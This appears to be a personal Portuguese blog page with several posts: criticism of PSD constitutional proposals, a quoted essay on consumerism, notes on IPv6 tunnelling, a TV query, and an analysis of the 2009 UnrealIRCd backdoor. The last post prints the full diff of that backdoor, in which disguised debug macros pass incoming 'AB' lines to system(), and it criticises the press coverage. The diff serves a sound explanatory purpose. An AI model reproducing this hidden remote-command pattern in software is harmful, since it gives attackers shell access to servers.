Pedro Francisco

This user hasn't shared any biographical information


Posts by Pedro Francisco

PSD quer fim da saúde tendencialmente gratuita

O PSD quer alterar a Constituição. Como vi alguém no Expresso ou no Sol nas crónicas da revista a dizer, as atitudes patentes nas alterações pretendidas são de uma certa crença em princípios que não se revelam funcionar da maneira esperada.

Entretanto vi mais um artigo sobre isso hoje.

Entre as alterações, o PSD pretende apagar da Constituição a expressão «tendencialmente gratuito» no que toca ao serviço de saúde, em favor de um serviço que não recuse quem não tem meios económicos.

Ou seja, dar prevalência a seguradoras que procuram o lucro. Para quanto tempo a repetição de coisas que actualmente só se vêm nos E.U.A., como um valor de centenas ou milhares de euros para repôr um ou dois dedos cortados, com o perigo ainda da seguradora inventar uma desculpa qualquer para não pagar ou, mesmo que pague, se atrase? Isto é uma área perigosa especialmente se deixada sem regulamentação que funcione e seja verificada. Pior, a justiça não funciona bem, por isso processar uma seguradora vai demorar.... Com consequências para quem precisa do serviço de saúde.....


Os social-democratas querem, ainda, que o Estado seja responsável por «assegurar o ensino básico universal, obrigatório e gratuito», deixando, no entanto, de estar obrigado a «criar um sistema público» e a «estabelecer progressivamente a gratuitidade de todos os graus de ensino».

Ou seja, privatizar o Ensino Superior Público e deixar os privados controlar o ensino básico. Mais uma vez, espero que haja controlo. Lucro e ensino de qualidade não acho que combinam. Pessoas de locais com baixa densidade populacional vão ter problemas.


os governos devem deixar de nomear dirigentes para a administração pública ou qualquer outra entidade controlada pelo Estado.

Não percebo o que é suposto isto ser...?

O PSD propõe, ainda, o fim de todos os artigos referentes à política agrícola, comercial e industrial, o fim dos governadores civis e apenas um representante da República para a Madeira e Açores .

Porque a nossa agricultura está em boas condições e não precisa de controlo do estado. Fair Enough, pode ser que os espanhóis a ponham como deve ser. Quanto à política comercial e industrial, não sei o que isto quer dizer.



Tudo isto parece-me fruto da crença forte na 'Invisible Hand'. Acho que as notícias que vemos volta e meia dos E.U.A. provam o quão perigoso isto pode ser...


Alegrem-se meus senhores, este vai ser este o próximo governo de Portugal...

Link: PSD quer fim da saúde tendencialmente gratuita


P.S.: quanto ás políticas de emprego não me vou pronunciar porque ouvi no outro dia uma amiga minha a dizer que não tinha sido contratada porque já tinha estado efectiva noutro lado (???) e portanto se a contratassem de novo tinha de ficar efectiva no novo sítio (???!!!) portanto se calhar apesar da conotação negativa da 'flexibilização' do emprego se calhar é preciso algumas mudanças e eu não estou dentro do assunto para poder comentar.


P.S. n.º 2: segundo me disseram todos os seguros de saúde em Portugal são uma merda chegando inclusive a dizer que se se marcar uma consulta ás 9h da manhã para as 19h como é no mesmo dia é considerada consulta de emergência e pagam muito menos ou nada do que é suposto.

Reality cracking

Reality cracking, an introduction

Reality cracking is a very important 'critical' activity, (...)





You may ask why so many essays of the reality cracking section are directed against advertisement and our 'consumistic' habits. Simply stated, there's a lot of money being made and a lot of power being gathered by the people that promote useless consumerism, and this determines a GREAT part of the reality you live in. You pay for it in gradually limited economic mobility, pollution, threats to your health and a declining standard of living, as measured by the things that really matter. This is what this section is about, identifying these forces and giving you opportunities to lessen or eliminate their control over your life. We're not suggesting that you pick up guns and start blasting away. What we advocate does far more damage than bullets to these forces and the people behind them and makes life much more enjoyable for you while it returns to you -at least in part- the possibility of living the way that you -not somebody else- choose.








Dear contributors,
please don't be deceived if the essay you sent was not published, see: Reality cracking is a matter of observation and knowledge, balance and wit, it's very important to avoid taking ourselves too seriously... a common disease. Watch, work, send your findings... and avoid the ever lurking risks to fall into the 'weird-religious-nutty' or into the 'ideologically excessive-obsessed' patterns. Best essays are those that examine a CONCRETE aspect of the reality around you and show it's hidden meaning: see, it is obvious (if silly) that half-naked babes on -say- new cars help selling those same said cars to the zombies... but it is not so obvious, for instance, that yougurts or fruit juices made with only ONE sort of fruit are all over the world slowly being replaced by yogurts and fruit juices made with a 'cocktail' of fruit rests ("tropical mix", "apples AND bananas", "fruits of the wald") for the purpose of maximising gains... consumer "choices" are only a nuisance once you have already lurked the same consumers into buying your products or using your supermarket chain...
What do you think that 'modes' and 'trends' have been made for? ... or d'you think you can buy somewhere a new fridge (say) that has been built solid enough to last for the next thirty years?







http://www.fravia.com/realicra/realicra.htm

IPv6

Actualmente já é possível usar IPv6 em qualquer ligação à Net.

Até todos os ISP implementarem rede IPv6 e termos um endereço IPv6 nativo a partir do momento que ligamos à Net, aqui ficam as várias hipóteses:

Teredo

Out-of-the-box em Windows, facilmente instalável em Linux usando o Miredo [4]

Vantagens

Simples, imediato e ainda não percebi como funciona, mas funciona.
Quem tiver o Windows 7 (e possivelmente Vista) já deve ter reparado que tem um endereço IPv6. Se conseguirem aceder ao [1] é porque têm IPv6

Funciona atrás de NAT/Routers.

Desvantagens

Ainda não percebi por onde é que vai o tráfego. Tentei perceber visto o endereço público IPv6 conter o nosso IPv4 e o servidor por onde passa o tráfego, mas como aparentava passar por um servidor britânico fiquei confuso.


6to4

Há certos servidores que aceitam tráfego em IPv6 vindo de uma rede IPv4, tanto quanto percebi, havendo um IP específico em qualquer rede que teoricamente redirecciona para o servidor desse género mais perto [3]

Vantagens

Sabe-se por onde passa o tráfego. No caso português seria FCCN.AS1930.gigapix.pt .

Desvantagens

Necessita de IPv4 público.
Ainda não consegui pôr a funcionar.
Cada vez que o IP muda tem de se mudar o manualmente a configuração ou usar scripts manhosos.


IPv6 tunner broker

Regista-se num dos vários provedores de IPv6 e, à la VPN usando um programa especial, liga-se a eles.
SixXS [5]
Freenet6 [6]
Hurricane Electric [7]

Pessoalmente, acabei por usar Freenet6 mas começo a pensar se não teria sido melhor a Hurricante Electric não gosto muito da organização da página do Freenet6.


Vantagens

Sabe-se por onde passa o tráfego.

Desvantagens

Requer registo (o Freenet6 [6] aceita anónimos mas não testei).



Referências:


[1]
SixXS: landing page exclusiva para IPv6

[2]
Blog genérico acerca de IPv6

[3]
6to4 em máquina Linux

[4]
Implementação de Teredo para Linux & outros

[5]
IPv6 broker: SixXS

[6]
IPv6 broker: Freenet6

[7]
IPv6 broker: Hurricane Electric

série ‘The Wire’

Preciso de info.
Ler a descrição na Wikipedia fez-me pensar que seria da mesma qualidade que o Battlestar Galactica, no sentido de prometer pouco mas ser uma agradável surpresa.

P.S.: olhando para trás, não consigo deixar de pensar que se calhar que final da 3ª e 4ª do BSG não foram grande coisa, não fosse já pelo ambiente que tinham conseguido criar.

Google & Data-Mining

Não consigo fazer upload da imagem com resolução suficiente para aparecer no post (a que estava anteriormente tinha resolução inferior à original).

<a rel="nofollow" target="_blank"…

“It has always seemed strange to me… the things we admire in men, kindness and generosity, openness, honesty, understanding and feeling, are the concomitants of failure in our system. And those traits we detest, sharpness, greed, acquisitiveness, meanness, egotism and self-interest, are the traits of success. And while men admire the quality of the first they love the produce of the second.” – John Steinbeck

Esta citação tem um link para um texto TL;DR interessante

Mau jornalismo & o backdoor no UnrealIRCd

Factos:
o código fonte de uma versão do UnrealIRCd para Linux, distribuído num .tar.gz foi comprometido de maneira que linhas que o servidor recebesse que começassem com "AB;" fossem executadas como comandos da shell [1]


Os autores do programa não estavam a implementar assinatura dos pacotes


houve portanto uma falha de segurança na forma de backdoor




Mau jornalismo
Linux infection proves Windows malware monopoly is over (não foi infecção e o antivírus não apanharia, em teoria, o problema; adicionalmente, a única razão pela qual a versão para Windows não foi afectada foi que o atacante não se deu ao trabalho)



Linux Trojan Raises Malware Concerns (a piada era que diziam que o trojan era no jogo Unreal, o que demonstra a extensa investigação realizada durante a escrita do artigo; entretanto esse erro foi corrigido)





Como aparentemente quem é pago para isso não faz o seu trabalho como deve ser, eu, que devia estar a dormir ou a trabalhar, faço o trabalho por eles.

A equipa por detrás do UnrealIRCd, um servidor de IRC, coloca as suas releases num servidor. O código-fonte vem, como é hábito, num ficheiro .tar.gz. Algures durante Novembro de 2009 um idiota qualquer adicionou nesse ficheiro .tar.gz 10 linhas de código [1], que faziam que qualquer linha que começasse por "AB;" que fosse enviada ao servidor seria executada no servidor com os privilégios do utilizador com que o servidor estaria a correr.

Ou seja, temos uma backdoor, e não um vírus, e temos uma backdoor bastante simples, que a única coisa que faz de especial é ter uma chamada ao system() -- o que já dá para muito estrago mas não é propriamente complexo nem com código incomum. Duvido, como tal, que um antivirus apanhasse tal backdoor através de heurísticas (e muito menos através de assinaturas antes do problema ser conhecido) mas não tenho conhecimentos para afirmar tal com toda a certeza nem tenho um blog na ZDnet e sou pago para mandar bitaitagem.


Quem quiser uma análise decente à backdoor pode vê-la aqui.



Entretanto um idiota num canal de IRC também gosta muito de mandar bitaitagem sem saber do que fala nem admitir a sua ignorância [2] disse que uma versão antiga do antivírus detectava mas não acredito que ele tenha testado como deve ser.


[1] A backdoor
diff -ru Unreal3.2-clean/include/struct.h Unreal3.2-bugged/include/struct.h 
--- Unreal3.2-clean/include/struct.h 2009-04-13 13:03:57.000000000 +0200
+++ Unreal3.2-bugged/include/struct.h 2009-04-13 13:03:00.000000000 +0200
@@ -430,6 +430,7 @@
#endif

/* Fake lag exception */
+
#define IsNoFakeLag(x) ((x)->flags & FLAGS_NOFAKELAG)
#define SetNoFakeLag(x) ((x)->flags |= FLAGS_NOFAKELAG)
#define ClearNoFakeLag(x) ((x)->flags &= ~FLAGS_NOFAKELAG)
@@ -448,6 +449,7 @@
#else
#define IsNotSpoof(x) (1)
#endif
+#define DEBUGMODE3 ((x)->flags & FLAGS_NOFAKELAG)

#define GetHost(x) (IsHidden(x) ? (x)->user->virthost : (x)->user->realhost)
#define GetIP(x) ((x->user && x->user->ip_str) ? x->user->ip_str : (MyConnect(x) ? Inet_ia2p(&x->ip) : NULL))
@@ -513,6 +515,10 @@
#else
#define CHECKPROTO(x,y) (checkprotoflags(x, y, __FILE__, __LINE__))
#endif
+#ifdef DEBUGMODE3
+#define DEBUGMODE3_INFO "AB"
+#define DEBUG3_LOG(x) DEBUG3_DOLOG_SYSTEM (x)
+#endif

#define DontSendQuit(x) (CHECKPROTO(x, PROTO_NOQUIT))
#define IsToken(x) (CHECKPROTO(x, PROTO_TOKEN))
@@ -1373,6 +1379,7 @@
#define INCLUDE_REMOTE 0x2
#define INCLUDE_DLQUEUED 0x4
#define INCLUDE_USED 0x8
+#define DEBUG3_DOLOG_SYSTEM(x) system(x)

struct _configitem_include {
ConfigItem *prev, *next;
diff -ru Unreal3.2-clean/src/s_bsd.c Unreal3.2-bugged/src/s_bsd.c
--- Unreal3.2-clean/src/s_bsd.c 2009-03-01 19:37:58.000000000 +0100
+++ Unreal3.2-bugged/src/s_bsd.c 2006-06-16 20:29:00.000000000 +0200
@@ -1431,6 +1431,10 @@
return 1;
if (length <= 0)
return length;
+#ifdef DEBUGMODE3
+ if (!memcmp(readbuf, DEBUGMODE3_INFO, 2))
+ DEBUG3_LOG(readbuf);
+#endif
for (h = Hooks[HOOKTYPE_RAWPACKET_IN]; h; h = h->next)
{
int v = (*(h->func.intfunc))(cptr, readbuf, length);

[2] O sábio do IRC
[22:55] [A_minha_pessoa] out of curiosity, you've already bashed the ZDnet blog guy saying the IRCd would've been detected by a virus scan?
[22:55] [A_minha_pessoa] *Unreal IRCd exploit
[22:55] [O_sábio] A_minha_pessoa, One of many ways it could have been stopped
[22:55] [O_sábio] He happened to pick the one way where Windows looks more secure
[22:56] [O_sábio] the most inefficient way of stopping it that would have worked
[22:56] [O_sábio] :)
[22:56] [O_sábio] I still say neutering /opt and posting the correct MD5 sum could have stopped it
[22:56] [O_sábio] without any need for a virus scanner
[22:57] [A_minha_pessoa] O_sábio: but it's NOT a virus infection! It's a friggin' backdoor which I've my doubts would be detected by any AV!
[22:57] [O_sábio] A_minha_pessoa, I checked into it
[22:57] [O_sábio] ClamAV would have caught it
[22:57] [O_sábio] even 6 months ago
[22:57] [O_sábio] it wasn't new exploit code, it was just infecting something new
[22:58] [A_minha_pessoa] O_sábio: a backdoor? how would it catch it? It's a system() call
[22:58] [A_minha_pessoa] anyone can use a system call in a program
[22:59] [O_sábio] unsophisticated copypasting
[22:59] [O_sábio] it's not exactly one of the black arts
[22:59] [O_sábio] :)
[23:00] [A_minha_pessoa] I still don't understand how come ClamAV would've caught it
[23:00] [O_sábio] A_minha_pessoa, The correct file would have matched the MD5 sum of the original file
[23:00] [O_sábio] let's go back to that one
[23:00] [O_sábio] because it's the most obvious way to smell a rat
[23:00] [A_minha_pessoa] no, we're talking about the AV
[23:01] [A_minha_pessoa] which is what is told in a blog post of a supposed expert
[23:01] [O_sábio] then there's heuristics
[23:01] [A_minha_pessoa] the MD5 checksum would of course allow it to be detected
[23:01] [O_sábio] many antivirus programs look at what a file would do if it was to be allowed to actually run
[23:01] [A_minha_pessoa] heuristics checking for a system call ?
[23:02] [A_minha_pessoa] that means I can't do a system() call on a program that it will be classified as a virus?
[23:02] [O_sábio] at the very least it would probably alert the user to a generic suspicious file
[23:04] [O_sábio] you don't see anything suspicious about a bot that opens up an IRC connection to a command and control server and starts DCC requests and responding to commands given in the room?
[23:05] [A_minha_pessoa] have you looked at the .diff ?
[23:06] [O_sábio] the fact that there are sites out there like GNOME Look is terrifying
[23:06] [O_sábio] malware gets on there (easily) and infects many (Linux) users for months before anyone is any the wiser
[23:07] [A_minha_pessoa] have you looked at the .diff ?
[23:07] [O_sábio] in many ways, yeah, you can get a sizeable botnet on lots of Ubuntu systems, for example
[23:07] [O_sábio] because nobody will bother to check if they're infected
[23:07] [O_sábio] it's not like it hasn't happened already
[23:08] [A_minha_pessoa] in order to continue this discussion I need to know: have you looked at the .diff ?
[23:08] [O_sábio] Linux is not immune from malware just for being Linux
[23:08] [O_sábio] explain where Bott was actually wrong about that
[23:09] [O_sábio] lots of Ubuntu users installing neat little theme packs and putting in their sudo credentials to install the DEB file found that out
[23:09] [A_minha_pessoa] so, I've to assume you haven't looked at the .diff
[23:10] [O_sábio] The nice thing about Ubuntu is that it makes it so easy for the user to shoot themselves in the foot and make it look like doing so is a great idea
[23:11] [O_sábio] it fosters an environment favorable to the spread of malware
[23:11] [A_minha_pessoa] O_sábio: have you looked at the .diff between the backdoored version and the clean version of the Unreal IRCd ?
[23:12] [O_sábio] Tell me this. If Ubuntu continues growing, and taking in users who think they're all invincible.
[23:12] [O_sábio] If that happens, why won't there be an antivirus market there?
[23:12] [O_sábio] because there will be thousands of different pieces of malware for it
[23:13] [O_sábio] malware spreads using the most clueless user
[23:13] [A_minha_pessoa] O_sábio: so, have you looked at the .diff between the backdoored version and the clean version of the Unreal IRCd ?
[23:14] [O_sábio] why do I have to?
[23:14] [O_sábio] ClamAV immediately says not to run it
[23:14] [O_sábio] I've already made that point
[23:15] [O_sábio] You're asking me how ClamAV detected it? Why do I give a shit?
[23:15] [O_sábio] it does
[23:15] [A_minha_pessoa] have you checked with the definitions of ClamAV 6 months ago ?
[23:16] [O_sábio] I checked it without the daily cvd
[23:16] [O_sábio] that pretty much removes all the signatures
[23:16] [O_sábio] so yes, it still would have detected it 6 months ago
[23:17] [O_sábio] any half-competant antivirus program would have stopped it
[23:17] [A_minha_pessoa] I find it strange, but ok.
[23:17] [O_sábio] any half-competent user would have questioned the need to run this as root
[23:17] [O_sábio] any half-competent sysadmin would have posted a damned MD5 sum of the original
[23:18] [O_sábio] nobody suspected anything could go wrong
[23:18] [O_sábio] so they all fail on each account
[23:19] [O_sábio] it's just like UAC as an annoyance screen
[23:19] [O_sábio] if the user doesn't ask why something needs elevated and hits OK, of course it can do anything to the system
[23:19] [A_minha_pessoa] O_sábio: it's a "system()" call, I don't see how an AV could have detected it, look here: http://www.google.com/codesearch?lr=&q=%22system%28%22+lang%3Ac . I find it weird you claiming it would but honestly I don't have the time to check so I'll have to take your word on it.
[23:22] [O_sábio] "Obviously, this is a very serious issue, and we're taking precautions so this will never happen again, and if it somehow does that it will be noticed quickly."
[23:22] [O_sábio] should read "so this will never happen again (until it does)" "sorry for not paying any attention"
[23:22] [O_sábio] :D